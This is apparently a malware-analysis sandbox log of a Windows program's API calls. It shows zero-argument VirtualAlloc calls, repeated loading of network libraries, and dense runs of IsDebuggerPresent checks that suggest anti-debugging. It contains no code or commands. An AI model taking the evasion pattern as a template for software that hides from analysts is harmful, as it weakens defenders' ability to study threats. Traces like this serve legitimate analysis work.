[0054.654] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.654] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.655] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.655] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.655] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.655] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.655] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.655] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.655] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.655] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.655] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.655] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.655] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.655] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.655] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.655] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.655] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.655] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.655] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.655] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.655] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.655] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.655] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.656] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.656] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.656] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.656] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.656] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.656] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.656] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.656] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.656] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.656] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.656] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.656] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.656] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.656] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.656] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.656] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.656] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.656] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.656] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.656] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.656] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.656] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.657] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.659] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.659] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.659] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.659] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.659] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.659] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.659] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.659] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.659] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.659] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.659] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.659] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.659] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.659] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.659] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.659] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.659] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.659] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.659] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.659] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.659] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.660] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.660] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.660] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.660] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.660] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.660] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.660] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.660] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.660] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.660] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.660] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.850] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0054.855] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0054.862] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0054.862] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0054.862] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0054.862] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0054.914] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0054.914] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0054.914] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0054.914] IsDebuggerPresent () returned 0
[0054.914] IsDebuggerPresent () returned 0
[0054.914] IsDebuggerPresent () returned 0
[0054.914] IsDebuggerPresent () returned 0
[0054.914] IsDebuggerPresent () returned 0
[0054.914] IsDebuggerPresent () returned 0
[0054.914] IsDebuggerPresent () returned 0
[0054.914] IsDebuggerPresent () returned 0
[0054.914] IsDebuggerPresent () returned 0
[0054.914] IsDebuggerPresent () returned 0
[0054.914] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.914] IsDebuggerPresent () returned 0
[0054.914] IsDebuggerPresent () returned 0
[0054.914] IsDebuggerPresent () returned 0
[0054.914] IsDebuggerPresent () returned 0
[0054.914] IsDebuggerPresent () returned 0
[0054.914] IsDebuggerPresent () returned 0
[0054.914] IsDebuggerPresent () returned 0
[0054.914] IsDebuggerPresent () returned 0
[0054.914] IsDebuggerPresent () returned 0
[0054.914] IsDebuggerPresent () returned 0
[0054.914] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.914] IsDebuggerPresent () returned 0
[0054.914] IsDebuggerPresent () returned 0
[0054.914] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.915] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.916] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.917] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] IsDebuggerPresent () returned 0
[0054.918] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] IsDebuggerPresent () returned 0
[0054.919] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.920] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] IsDebuggerPresent () returned 0
[0054.921] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.922] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.922] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.922] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
